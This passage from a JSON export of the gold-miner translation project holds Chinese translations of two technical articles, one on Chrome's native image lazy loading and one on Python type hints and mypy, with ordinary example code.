responseStart    | 600 ms      |\n| responseEnd      | 605 ms      |\n| timeToFirstByte  | 7 ms        |\n| downloadDuration | 5 ms        |\n\n`eager` 告诉浏览器这张图片需要**立即**加载。如果加载已经被延迟了（比如初始值为 `lazy`，后来用 JavaScript 改成了`eager`），那么浏览器也应该立即加载图片。\n\n### 懒洋洋的值：`lazy`\n\n```html\n<img src=\"auto-cat.jpg\" loading=\"lazy\" alt=\"...\">\n<iframe src=\"https://css-tricks.com/\" loading=\"lazy\"></iframe>\n```\n\n![懒加载的懒猫图](https://demo.tiny.pictures/native-lazy-loading/lazy-cat.jpg?width=452)\n\n↑↑↑ 示意图：懒加载的懒猫图 ↑↑↑\n\n| 度量 / 请求 | #1          |\n| ---------------- | ----------- |\n| encodedBodySize  | 12112 bytes |\n| decodedBodySize  | 12112 bytes |\n| transferSize     | 0 bytes     |\n| startTime        | 54 ms       |\n| requestStart     | 593 ms      |\n| responseStart    | 599 ms      |\n| responseEnd      | 604 ms      |\n| timeToFirstByte  | 6 ms        |\n| downloadDuration | 5 ms        |\n\n`lazy` 告诉浏览器此图片应该懒加载。懒加载到底有多「懒」，这应该由浏览器来解释，而[说明文档](https://github.com/scott-little/lazyload)表明，懒加载始于**用户将页面滚动到图片附近**之时，意即当图片即将进入视野时加载。\n\n## `loading` 特性的原理\n\n与基于 JavaScript 的懒加载库不同，原生懒加载功能使用了一种预检请求来获取**图片文件的前 2048 字节数据**。根据预先取得的数据，浏览器会试着确定该图片的大小，便于在完整图片的位置插入一个隐形的占位符，防止加载过程中页面发生闪烁现象。\n\n在第一个（如果图片大小小于 2 KB，一个预检请求就够了）或第二个请求完成后，完整图片一加载完毕，其 `load` 事件就会解除监听。请注意，如果没有完成第二个请求，那么`load` 事件可能会一直绑定着。\n\n> 从今以后，浏览器因获取图片而发出的请求的数量可能会翻倍。每张图片对应两个请求：先是范围请求，再是完整请求。要确保你的服务器支持 HTTP `Range: 0-2047` 请求头，而响应状态码要用 `206（部分内容）`，防止整个图片被传送两次。\n\n每个用户都会发送大量的后续请求，因此 Web 服务器对 HTTP/2 协议的支持变得越来越重要。\n\n现在我们来聊聊延迟的内容。Chrome 浏览器的渲染引擎 [Blink](https://en.wikipedia.org/wiki/Blink_(browser_engine)) 采用启发式技术来确定哪些内容应该延迟加载、延迟多久。Scott Little 在他的[设计文档](https://docs.google.com/document/d/1e8ZbVyUwgIkQMvJma3kKUDg8UUkLRRdANStqKuOIvHg/)中全面地列出了确定延迟策略的条件。下面是确定延迟对象的简短策略：\n\n* 所有平台中设置了 `loading=\"lazy\"` 的图片和框架\n* 浏览器为 Android 系统中的 Chrome，启用了 Data Saver 模式；并且满足下列条件的图片：\n    * 设置了 `loading=\"auto\"` 或 `loading=\"\"`\n    * `width` 和 `height` 特性的值都不小于 10 px\n    * 非 JavaScript 插入的图片\n* 满足下列条件的框架：\n\n  * 设置了 `loading=\"auto\"` 或 `loading=\"\"`\n  * 来自第三方（与被插入页面的域名或协议不同）\n  * 宽、高都大于 4 像素（防止将微型跟踪框架一并延迟加载）\n  * 未设置 `display: none` 或 `visibility: hidden`（防止将跟踪框架一并延迟加载）\n  * 未用负坐标值定位于屏幕区域以外\n\n## 带有 `srcset` 特性的响应式图片\n\n对于带有 `srcset` 特性的响应式图片，原生懒加载同样有效。`srcset` 特性提供了一系列图片文件供浏览器选用。根据用户的屏幕尺寸、设备像素比、网络状况等因素，浏览器会选取最适合情境的图片。像 [tiny.pictures](https://tiny.pictures/) 这样的图片优化 CDN 可以**实时提供备选图片，无需后端开发**。\n\n```html\n<img src=\"https://demo.tiny.pictures/native-lazy-loading/lazy-cat.jpg\" srcset=\"https://demo.tiny.pictures/native-lazy-loading/lazy-cat.jpg?width=400 400w, https://demo.tiny.pictures/native-lazy-loading/lazy-cat.jpg?width=800 800w\" loading=\"lazy\" alt=\"...\">\n```\n\n## 浏览器支持\n\n在撰写本文时，还没有浏览器默认支持原生懒加载功能。但就像之前说的，Chrome 从 77 版本开始会默认开启懒加载。除此之外，目前还没有浏览器厂商宣称支持该功能。（Edge 将是个例外，因为它即将[转为 Chromium 内核](https://css-tricks.com/edge-goes-chromium-what-does-it-mean-for-front-end-developers/)。）\n\n你可以用几行 JavaScript 代码检查支持情况：\n\n```javascript\nif (\"loading\" in HTMLImageElement.prototype) {\n  // 支持。\n} else {\n  // 不支持。你可能需要引入懒加载库（下文已列出）。\n}\n```\n\n参见 [CodePen](https://codepen.io) 中 Erk Struwe（[@erkstruwe](https://codepen.io/erkstruwe)）的代码示例：[浏览器原生懒加载支持探测器](https://codepen.io/erkstruwe/pen/OGQdJp/)\n\n## 以模糊图片自动回退到 JavaScript 方案\n\n多数基于 JavaScript 的懒加载库都有一个炫酷的功能：[模糊占位图片（LQIP）](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/#article-header-id-9)。该功能基本上利用了这个原理：即使后来 `src` 特性的值会被另外的 URL 替换掉，浏览器还是会在一开始就立刻加载 `img` 元素。这样，我们可以在页面载入时先加载一个不清晰的小图片，之后再用完整图片代替它。\n\n现在我们可以利用这个功能，在不支持懒加载的浏览器中模拟原生懒加载的 2 KB 范围请求，以期实现模糊占位图片相同的效果。\n\n参见 [CodePen](https://codepen.io) 中 Erk Struwe（[@erkstruwe](https://codepen.io/erkstruwe)）的代码示例：[针对原生懒加载的 JavaScript 回退方案，以及模糊占位图片功能](https://codepen.io/erkstruwe/pen/ROQmWa/)\n\n## 总结\n\n这个新功能着实让我激动。原生懒加载功能的发布近在眼前，会对全球互联网通信产生非凡影响。就算它只能改变[启发式技术](https://en.wikipedia.org/wiki/Heuristic)的一小部分，老实说我仍不明白为何人们不给予足够的关注。\n\n想想吧，随着在不同的 Chrome 平台中逐渐推广、`auto` 值成为默认选项，**世界上最流行的浏览器即将对视口外的图片和框架应用懒加载技术**。决堤般的通信量会大面积击溃那些健壮性不足的网站，而且，蜂拥而至的图片探测请求也会伤及网络服务器。\n\n接下来遭殃的就是追踪技术: 假设那些深受信赖的追踪像素和追踪框架都无法加载，那么数据分析领域及其周边产业将面临被动局面。我们只能希望他们千万别惊慌失措，千万别给每个图片都加上 `loading=\"eager\"` 这项伟大功能，这样添加 `loading` 特性根本不是为了服务网站用户，实在暴殄天物。他们更应该改写代码，以便于被[启发式技术](https://github.com/xitu/gold-miner/pull/5886#loading-%E7%89%B9%E6%80%A7%E7%9A%84%E5%8E%9F%E7%90%86)识别为追踪像素。\n\n> Web 开发者、数据分析经理和运营经理应该立即检查自己的网站，确保前端支持原生懒加载、后端支持范围请求和 HTTP/2 协议。\n\n万一原生懒加载功能出现问题，或者你想把图片加载优化到极致（包括自动支持 WebP、模糊占位图片等等），图片优化 CDN 能助你一臂之力。更多内容参见 [tiny.pictures](https://tiny.pictures)！\n\n## 参考文献\n\n* [Blink 引擎关于懒加载的设计文档](https://docs.google.com/document/d/1e8ZbVyUwgIkQMvJma3kKUDg8UUkLRRdANStqKuOIvHg/)\n* [Blink 引擎关于图片懒加载的设计文档](https://docs.google.com/document/d/1jF1eSOhqTEt0L1WBCccGwH9chxLd9d1Ez0zo11obj14)\n* [Blink 引擎关于框架懒加载的设计文档](https://docs.google.com/document/d/1ITh7UqhmfirprVtjEtpfhga5Qyfoh78UkRmW8r3CntM)\n* [Blink 引擎关于图片替换的设计文档](https://docs.google.com/document/d/1691W7yFDI1FJv69N2MEtaSzpnqO2EqkgGD3T0O-pQ08/edit#heading=h.mexcvf6leeqf)\n* [Chromium 的公共故障跟踪](https://bugs.chromium.org/p/chromium/issues/detail?id=954323)\n* [针对禁用 page-wide 功能的政策提案](https://github.com/w3c/webappsec-feature-policy/issues/193)\n* [Addy Osmani 关于原生懒加载的博文](https://addyosmani.com/blog/lazy-loading/)\n* [Chrome 平台下的懒加载功能](https://chromestatus.com/feature/5645767347798016)\n* [Scott Little 的懒加载详解](https://github.com/scott-little/lazyload)\n* [HTML 标准的合并请求（Pull request）](https://github.com/whatwg/html/pull/3752)\n* [Chrome 平台状态以及发布时间线](https://www.chromestatus.com/features/schedule)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-deep-dive-on-python-type-hints.md",
    "content": "> * 原文地址：[A deep dive on Python type hints](https://veekaybee.github.io/2019/07/08/python-type-hints/)\n> * 原文作者：[Vicki Boykis](http://www.vickiboykis.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-deep-dive-on-python-type-hints.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-deep-dive-on-python-type-hints.md)\n> * 译者：[胡其美](hu7may.github.io)\n> * 校对者：[Ultrasteve](https://github.com/Ultrasteve)，[talisk](https://github.com/talisk)，[sunui](https://github.com/sunui)，[江五渣](http://jalan.space)\n\n# 深入理解 Python 的类型提示\n\n![Smiley face](https://raw.githubusercontent.com/veekaybee/veekaybee.github.io/master/images/presser.png)\n\nPresser, Konstantin Makovsky 1900\n\n## 简介\n\n自从 Python 的类型提示在 [2014](https://www.python.org/dev/peps/pep-0484/) 年发布以来，人们便一直将他们应用到自己的代码中。我大胆的猜测目前大约有 20 ~ 30% 的 Python 3 代码在使用提示（有时也称为注释）。在去年我看到他们出现在越来越多的[书](https://www.manning.com/books/classic-computer-science-problems-in-python)和教程中。\n\n> 事实上，我现在很好奇 —— 如果你在积极地使用 Python 3 开发，你会在代码中使用注解和提示吗？\n> \n> — [Vicki Boykis (@vboykis) May 14, 2019](https://twitter.com/vboykis/status/1128324572917448704?ref_src=twsrc%5Etfw)\n\n这是一个[使用类型提示的代码看起来什么样](https://docs.python.org/3/library/typing.html)的典型例子。\n\n没有类型提示的代码：\n\n```python\ndef greeting(name):\n\treturn 'Hello ' + name\n```\n\n有类型提示的代码：\n\n```python\ndef greeting(name: str) -> str:\n    return 'Hello ' + name \n```\n\n提示的通用格式通常是这样：\n\n```python\ndef function(variable: input_type) -> return_type:\n\tpass\n```\n\n然而，关于他们究竟是什么（在本文中，我暂且称他们为提示）、他们会如何使你的代码受益，仍然有许多让人困惑不解的地方。\n\n当我开始调查和衡量类型提示是否对我有用时，我变得十分困惑。所以，就像我通常对待我不理解的事情一样，我决定深入挖掘，同时也希望这篇文章对其他人有用。\n\n像往常一样，如果你想评论你看到的某些内容，请随时 [pull request](https://github.com/veekaybee/veekaybee.github.io)。\n\n## 计算机如何编译我们的代码\n\n为了弄清楚 Python 核心开发人员在尝试用类型提示做什么，我们来从 Python 中分几个层次，从而更好地理解计算机和编程语言的工作原理。\n\n编程语言的核心作用，是利用 CPU 进行数据处理，并把输入输出存储在内存中。\n\n![](https://raw.githubusercontent.com/veekaybee/veekaybee.github.io/master/images/computer.png)\n\nCPU 相当愚蠢，它可以完成艰巨的任务，但只能理解机器语言，其底层依靠电力驱动。机器语言底层使用 0 和 1 来表示。\n\n为了得到这些 0 和 1，我们要从高级语言转向低级语言，这就需要编译和解释型语言了。\n\n编程语言要么[被编译要么被执行](http://openbookproject.net/thinkcs/python/english2e/ch01.html)（Python 通过解释器解释执行），代码转换为较低级别的机器代码，告诉计算机的低级组件即硬件该做什么。\n\n有多种方法可以将代码转换为机器能识别的代码：你可以构建二进制文件并让编译器对其进行翻译（C++、Go、Rust 等），或直接运行代码并让解释器执行。后者是 Python（以及 PHP、Ruby 和类似的脚本语言）的工作原理。\n\n![](https://raw.githubusercontent.com/veekaybee/veekaybee.github.io/master/images/interpret.png)\n\n硬件如何知道如何将这些 0 和 1 存储在内存中？软件也就是我们的代码需要告诉硬件该如何为数据分配内存。这些数据是什么类型的呢？这就由语言选择的数据类型来决定了。\n\n每一种语言都有数据类型，他们往往是你学习编程时的第一件要学习的事情。\n\n你可能看过这样的教程 (来自 Allen Downey 的优秀教材，[“像计算机科学家一样思考”](http://openbookproject.net/thinkcs/python/english3e/))，讲述了它们是什么。简而言之，它们是表示内存中数据的不同方式。\n\n![](https://raw.githubusercontent.com/veekaybee/veekaybee.github.io/master/images/datatypes.png)\n\n根据所使用语言的不同，会有字符串，整数等其他类型。比如 [Python 的基本数据类型](https://en.wikibooks.org/wiki/Python_Programming/Data_Types) 包含：\n\n```plain\nint, float, complex\nstr\nbytes\ntuple\nfrozenset\nbool\narray\nbytearray\nlist\nset\ndict\n```\n\n还有由几种基本数据类型构成的高级数据类型。例如，Python 列表可以包含整数，字符串或两者都包含。\n\n为了知道需要分配多少内存，计算机需要知道被存储数据的类型。幸运的是，Python 的[内置函数](https://docs.python.org/3/library/sys.html#sys.getsizeof) `getsizeof`，可以告诉我们每种不同的数据类型占多少字节。\n\n这个[精彩的回答](https://stackoverflow.com/a/1331541)告诉了我们一些“空数据结构”的近似值：\n\n```python\nimport sys\nimport decimal\nimport operator\n\nd = {\"int\": 0,\n    \"float\": 0.0,\n    \"dict\": dict(),\n    \"set\": set(),\n    \"tuple\": tuple(),\n    \"list\": list(),\n    \"str\": \"a\",\n    \"unicode\": u\"a\",\n    \"decimal\": decimal.Decimal(0),\n    \"object\": object(),\n }\n\n# Create new dict that can be sorted by size\nd_size = {}\n\nfor k, v in sorted(d.items()):\n    d_size[k]=sys.getsizeof(v)\n\nsorted_x = sorted(d_size.items(), key=lambda kv: kv[1])\n\nsorted_x\n\n[('object', 16),\n ('float', 24),\n ('int', 24),\n ('tuple', 48),\n ('str', 50),\n ('unicode', 50),\n ('list', 64),\n ('decimal', 104),\n ('set', 224),\n ('dict', 240)]\n```\n\n如果我们对结果进行排序，我们可以看到在默认情况下，最大的数据结构是空字典，然后是集合；与字符串相比，整形所占空间很小。\n\n这让我们知道了程序中不同类型的数据各占了多少内存空间。\n\n我们为什么要在意这些呢？因为一些类型比另一些类型更高效，更适合不同的任务。还有些场合，我们需要对类型做严格的检查来保证他们不会违反我们程序的一些约束。\n\n不过这些类型到底是什么？我们又为什么需要他们呢？\n\n下面就是类型系统发挥作用的地方。\n\n## 类型系统介绍\n\n[很久以前](https://homepages.inf.ed.ac.uk/wadler/topics/history.html)，[依靠手工运算数学的人们](https://en.wikipedia.org/wiki/Type_theory)意识到，在进行等式证明时，他们可以通过使用“类型”标记方程中的数字或其他元素，来减少许多逻辑问题。\n\n一开始，计算机科学基本上依靠手工完成大量数学运算，一些原则延续下来，类型系统通过为特定类型分配不同的变量或元素，成为减少程序中错误数量的一种方法。\n\n下面是一些例子:\n\n* 如果我们为银行编写软件，在计算用户账户总额的代码片段中不能使用字符串。\n* 如果我们要处理调查数据，想要了解人们做或者没做某件事，这时使用表示是或否的布尔值将最恰当。\n* 在一个大的搜索引擎中，我们必须限制允许输入搜索框的字符数，因此我们需要对某些类型的字符串进行类型验证。\n\n现今在编程领域，有两种不停地类型系统：静态和动态。[Steve Klabnik](https://blog.steveklabnik.com/posts/2010-07-17-what-to-know-before-debating-type-systems) 写到：\n\n> 在静态系统中，编译器检查源代码并将“类型”标签分配给代码中的参数，然后使用它们来推断程序行为的信息。动态类型系统中，编译器生成代码来跟踪程序使用的数据类型（也恰巧称为“类型”）。\n\n这意味着什么？这意味着对编译型语言来说，你需要预先指定类型以便让编译器在编译期进行类型检查来确保程序是合理的。\n\n这也许我最近读到的是[对两者最好的解释](http://www.nicolas-hahn.com/python/go/rust/programming/2019/07/01/program-in-python-go-rust/) ：\n\n> 我之前使用静态类型语言，但过去几年我主要使用 Python 语言。 起初的体验有点恼火，感觉好像只是放慢了我的速度，而 Python 本可以完全只让我做我所想做的，即便我偶尔出错也没关系。 这有点像在指挥那些喜欢刨根问底的人，而不是那些总是表示认同你，但你并不确定他们是否正确理解一切的人。\n\n这里有一点需要注意：静态和动态类型的语言是紧密相连的，但不是编译型或解释型语言的同义词。您可以使用动态类型的语言（如 Python）编译执行，也可以使用静态语言（如 Java）解释执行，例如使用 Java REPL。\n\n## 静态与动态类型语言中的数据类型\n\n那么这两种语言中数据类型的区别是什么呢？在静态类型中，你必须先布定义类型。例如，如果您使用 Java，你的程序可能如下所示：\n\n```java\npublic class CreatingVariables {\n\tpublic static void main(String[] args) {\n\t\tint x, y, age, height;\n\t\tdouble seconds, rainfall;\n\n\t\tx = 10;\n\t\ty = 400;\n\t\tage = 39;\n\t\theight = 63;\n\n\t\tseconds = 4.71;\n\n\t\trainfall = 23;\n\n\t\tdouble rate = calculateRainfallRate(seconds, rainfall);\n\t\n\t}\nprivate static double calculateRainfallRate(double seconds, double rainfall) {\n\treturn rainfall/seconds;\n}\n```\n\n注意到这段程序的开头，我们声明了变量的类型：\n\n```java\nint x, y, age, height;\ndouble seconds, rainfall;\n```\n\n方法也必须包含传入的变量，以便代码能正确编译。在 Java 中，你必须从一开始就设计好类型以便编译器在将代码编译为机器码时知道该检查什么。\n\n而 Python 将类型隐藏了，类似的 Python 代码是这样的：\n\n```python\nx = 10\ny = 400\nage = 39\nheight = 63\n\nseconds = 4.71\n\nrainfall = 23\nrate = calculateRainfall(seconds, rainfall)\n\ndef calculateRainfall(seconds, rainfall):\n\treturn rainfall/seconds\n```\n\n这背后原理是怎样的呢？\n\n## Python 如何处理数据类型\n\nPython 是动态类型的语言，这意味着他只会在你运行程序的时候检查你声明的变量类型。正如我们在上述代码片段中看到的，你不必事先计划类型和内存分配。\n\n[这其中](https://nedbatchelder.com/blog/201803/is_python_interpreted_or_compiled_yes.html)发生了什么：\n\n> 在 Python 中，CPython 将源码编译成一种更简单的字节码形式。这些指令类似于 CPU 指令，但它们不是由 CPU 执行，而是由虚拟机软件执行。（这些虚拟机不是模仿整个操作系统，只是简化的 CPU 执行环境）\n\n当 CPython 编译程序时，如果不指定数据类型，它如何知道变量的类型呢？答案是它不知道，它只知道变量是对象。Python 中一切皆是[对象](https://jakevdp.github.io/blog/2014/05/09/why-python-is-slow/)，直到它变成一种具体的类型，那正是它被检查的时候。\n\n对于像字符串这样的类型，Python 假设任何被单引号或者双引号包围起来的内容都是字符串。对于数字，Python 有一种数值类型与之对应。如果我们尝试对某种类型执行某种 Python 无法完成的操作，Python 将会提示我们。\n\n例如，就像下面这样：\n\n```python\nname = 'Vicki'\nseconds = 4.71;\n\n---------------------------------------------------------------------------\nTypeError                                 Traceback (most recent call last)\n<ipython-input-9-71805d305c0b> in <module>\n      3 \n      4 \n----> 5 name + seconds\n\nTypeError: must be str, not float\n```\n\n它提示我们不能将字符串和浮点数相加。Python 直到执行的时候那一刻才知道 name 是一个字符串而 seconds 是一个浮点数。\n\n[换句话说](http://www.voidspace.org.uk/python/articles/duck_typing.shtml)，\n\n> 鸭子类型是在这种情况下发生的：当我们执行加法时，Python 并不关心对象是什么类型。它关心的是对它调用的加法方法返回的内容是否是合理的，如果不是，就会抛出异常。\n\n所以这意味着什么呢？如果我们以类似 Java 或者 C 的方式写一段代码，我们在 CPython 解释器执行有答题的代码行之前不会遇到任何错误。\n\n对于编写大量代码的团队而言，这已被证明是不方便的。因为你不是只需要处理几个变量，而要处理相互调用的大量类，并需要能够快速检查所有内容。\n\n如果你不能写下很好的测试代码，在投入生产环境之前找出程序中的错误，你将会破坏整个系统。\n\n大体上，使用类型提示有[很多好处](https://www.bernat.tech/the-state-of-type-hints-in-python/)：\n\n> 如果你使用复杂的数据结构，或者有很多输入的函数，在很久之后再次阅读代码时将会更容易。如果只是向我们的示例中带有单个参数的简单函数，则会显得很简单。\n\n但是如果你面对的是含有大量输入的代码库，比如 PyTorch 文档中的[这个例子](https://github.com/pytorch/examples/blob/1de2ff9338bacaaffa123d03ce53d7522d5dcc2e/mnist/main.py#L28)？\n\n```python\ndef train(args, model, device, train_loader, optimizer, epoch):\n    model.train()\n    for batch_idx, (data, target) in enumerate(train_loader):\n        data, target = data.to(device), target.to(device)\n        optimizer.zero_grad()\n        output = model(data)\n        loss = F.nll_loss(output, target)\n        loss.backward()\n        optimizer.step()\n        if batch_idx % args.log_interval == 0:\n            print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n                epoch, batch_idx * len(data), len(train_loader.dataset),\n100. * batch_idx / len(train_loader), loss.item()))\n```\n\n什么是 model？我们来看下面的代码。\n\n```python\nmodel = Net().to(device)\n```\n\n如果我们能够在方法签名中指定而不必查看代码，这样是不是会很酷？就像下面这样：\n\n```python\ndef train(args, model (type Net), device, train_loader, optimizer, epoch):\n```\n\n什么又是 device 呢\n\n```python\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\n```\n\n什么是 torch.device？它是一种特殊的 PyTorch 类型。如果我们到[文档和代码的其他部分](https://github.com/pytorch/pytorch/blob/a9f1d2e3711476ba4189ea804488e5264a4229a8/docs/source/tensor_attributes.rst)，我们可以发现：\n\n```plain\nA :class:`torch.device` is an object representing the device on which a :class:`torch.Tensor` is or will be allocated.\n\nThe :class:`torch.device` contains a device type ('cpu' or 'cuda') and optional device ordinal for the device type. If the device ordinal is not present, this represents the current device for the device type; e.g. a :class:`torch.Tensor` constructed with device 'cuda' is equivalent to 'cuda:X' where X is the result of :func:`torch.cuda.current_device()`.\n\nA :class:`torch.device` can be constructed via a string or via a string and device ordinal \n```\n\n如果我们能够注释这些，就不必在程序中查找，这样不是更好吗？\n\n```python\ndef train(args, model (type Net), device (type torch.Device), train_loader, optimizer, epoch):\n```\n\n还有很多例子......\n\n因此类型提示对大家编程都是有帮助的。\n\n类型提示也有助于他人阅读你的代码。具有类型提示的代码读起来更容易，不必像上面的例子那样检查整个程序的内容。类型提示提高了易读性。\n\n那么，Python 做了什么来提升与静态类型语言相同的易读性呢？\n\n## Python 的类型提示\n\n下面是类型提示的来源，作为代码旁边的注释，称为类型注释或类型提示。我将称它们为带类型提示。在其他语言中，注释和提示的意义完全不同。\n\n在 Python 2 中人们开始在代码中加入提示，来表示各种函数返回了什么。\n\n那种代码看起来就像[这样](https://www.python.org/dev/peps/pep-0483/):\n\n```python\nusers = [] # type: List[UserID]\nexamples = {} # type: Dict[str, Any]\n```\n\n开始类型提示就像注释。但后来 Python 逐渐使用更统一的方法来处理类型提示，开始包括[函数注释](https://www.python.org/dev/peps/pep-3107/)：\n\n```plain\nFunction annotations, both for parameters and return values, are completely optional.\n\nFunction annotations are nothing more than a way of associating arbitrary Python expressions with various parts of a function at compile-time.\n\nBy itself, Python does not attach any particular meaning or significance to annotations. Left to its own, Python simply makes these expressions available as described in Accessing Function Annotations below.\n\nThe only way that annotations take on meaning is when they are interpreted by third-party libraries. These annotation consumers can do anything they want with a function's annotations. For example, one library might use string-based annotations to provide improved help messages, like so:\n```\n\n随着 PEP 484 的发展，它是与 mypy 一起开发的，这是一个出自 DropBox 的项目，它在你运行程序时检查类型。要记住在运行时不检查类型。如果尝试在不兼容的类型上运行方法，将只会出现问题。例如尝试对字典切片或从字符串中弹出值。\n\n从实现细节来看：\n\n>  虽然这些注释在运行时通过 **annotations** 属性可用，但在运行时不会进行类型检查。相反，该提议假定存在一个单独的离线类型检查器，用户可以自行运行其源代码。本质上来讲，这种类型的检查器就像一个强大的 linter。（当然个人用户可以在运行时使用类似的检查器来进行设计执行或即时优化，但这些工具还不够成熟）\n\n在实践中是怎样的呢？\n\n类型检查也意味着你可以更容易的使用集成开发环境。例如 PyCharm 根据类型提供了[代码补全与检查](https://www.jetbrains.com/help/pycharm/type-hinting-in-product.html),就像 VS Code 一样。\n\n类型检查在另一方面也是有益的：它们可以阻止你犯下愚蠢的错误。[这里是个很好的例子](https://medium.com/@ageitgey/learn-how-to-use-static-type-checking-in-python-3-6-in-10-minutes-12c86d72677b)。\n\n这里我们要增加一个名字到字典中：\n\n```python\nnames = {'Vicki': 'Boykis',\n         'Kim': 'Kardashian'}\n\ndef append_name(dict, first_name, last_name):\n    dict[first_name] = last_name\n\nappend_name(names,'Kanye',9)\n```\n\n如果我们允许程序这样执行了，我们在字典中将会得到一堆格式错误的条目。\n\n那么如何改正呢？\n\n```python\nfrom typing import Dict \n\nnames_new: Dict[str, str] = {'Vicki': 'Boykis',\n                             'Kim': 'Kardashian'}\n\ndef append_name(dic: Dict[str, str] , first_name: str, last_name: str):\n    dic[first_name] = last_name\n\nappend_name(names_new,'Kanye',9.7)\n\nnames_new\n```\n\n通过在 mypy 运行：\n\n```bash\n(kanye) mbp-vboykis:types vboykis$ mypy kanye.py\nkanye.py:9: error: Argument 3 to \"append_name\" has incompatible type \"float\"; expected \"str\"\n```\n\n我们可以看到，mypy 不允许这种类型。在持续集成管道中的测试管道中包含 mypy 是很有意义的。\n\n## 继承开发环境中的类型提示\n\n使用类型提示的最大好处之一是，你可以在 IDE 中会获得和静态语言同样的自动补全功能。\n\n比如，我们假设你有这样一段代码，这仅仅是上面是用过的两个函数包装成了类。\n\n```python\nfrom typing import Dict\n\nclass rainfallRate:\n\n    def __init__(self, hours, inches):\n        self.hours= hours\n        self.inches = inches\n\n    def calculateRate(self, inches:int, hours:int) -> float:\n        return inches/hours\n\nrainfallRate.calculateRate()\n\nclass addNametoDict:\n\n    def __init__(self, first_name, last_name):\n        self.first_name = first_name\n        self.last_name = last_name\n        self.dict = dict\n\n    def append_name(dict:Dict[str, str], first_name:str, last_name:str):\n        dict[first_name] = last_name\n\naddNametoDict.append_name()\n```\n\n巧妙的是，现在我们添加了类型，当我们调用类的方法时，我们可以看到发生了什么：\n\n![](https://raw.githubusercontent.com/veekaybee/veekaybee.github.io/master/images/tabcomplete2.png)\n\n![](https://raw.githubusercontent.com/veekaybee/veekaybee.github.io/master/images/tabcomplete1.png)\n\n## 开始使用类型提示\n\nmypy 有一些关于开发一个代码库的[很好建议](https://mypy.readthedocs.io/en/latest/existing_code.html)：\n\n```plain\n 1. Start small – get a clean mypy build for some files, with few hints\n 2. Write a mypy runner script to ensure consistent results\n 3. Run mypy in Continuous Integration to prevent type errors\n 4. Gradually annotate commonly imported modules\n 5. Write hints as you modify existing code and write new code\n 6. Use MonkeyType or PyAnnotate to automatically annotate legacy code\n```\n\n为了在你自己的代码中开始使用类型提示，理解以下几点很会有帮助：\n\n首先，如果你在使用除了字符串，整形，布尔和其他 Python 的基本类型，你需要[导入类型模块](https://docs.python.org/3/library/typing.html)。\n\n第二，通过模块，有几种复杂类型可用：\n\n字典、元组、列表、集合等。\n\n例如，字典 [str, float] 表示你想检查一个字典，其中键是字符串类型，值是浮点数类型。\n\n还有一种叫 Optional 和 Union 的类型。\n\n第三，如下是类型提示的形式：\n\n```python\nimport typing\n\ndef some_function(variable: type) -> return_type:\n\tdo_something\n```\n\n如果你想开始更深入地使用类型提示，很多聪明人已经写下一些教程。这里有入门[最好的教程](https://pymbook.readthedocs.io/en/latest/typehinting.html)。而且它会知道你如何设置测试环境。\n\n## 那么，该如何决定？用还是不用呢？\n\n你应该使用类型提示吗？\n\n这取决于你的使用场景，就像 Guido 和 mypy 文档里说的：\n\n> mypy 的目标不是说服每个人都编写静态类型的 Python，不管是现在还是将来，静态类型的编程完全是可选的。mypy 的目标是为 Python 程序员提供更多的选择，使 Python 称为一门在大型项目中相比于其他静态类型语言更具竞争力的可选方案，从而提高程序员的工作效率并且提升软件质量。\n\n由于设置 mypy 和思考所需要的类型的开销，类型提示对于小型代码库来说没有意义（比如在 jupyter notebook 中）。什么算小代码库呢? 保守的说，大概是任何低于 1k 的内容。\n\n对于大型代码库，当你需要与他人一起合作，打包，当你需要版本控制和持续集成系统，类型提示很有意义并可以节省大量时间。\n\n我的意见是，类型提示正变得越来越常见。在在未来几年中，即使在不是很常见的地方，带头使用它也不是坏事。\n\n## 致谢\n\n**特别感谢 [Peter Baumgartner](https://twitter.com/pmbaumgartner)，[Vincent Warmerdam](https://twitter.com/fishnets88)，[Tim Hopper](https://tdhopper.com/)，[Jowanza Joseph](https://www.jowanza.com/)，和 [Dan Boykis](http://danboykis.com/) 阅读本文草稿，所有遗留的错误来自于我 :)**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
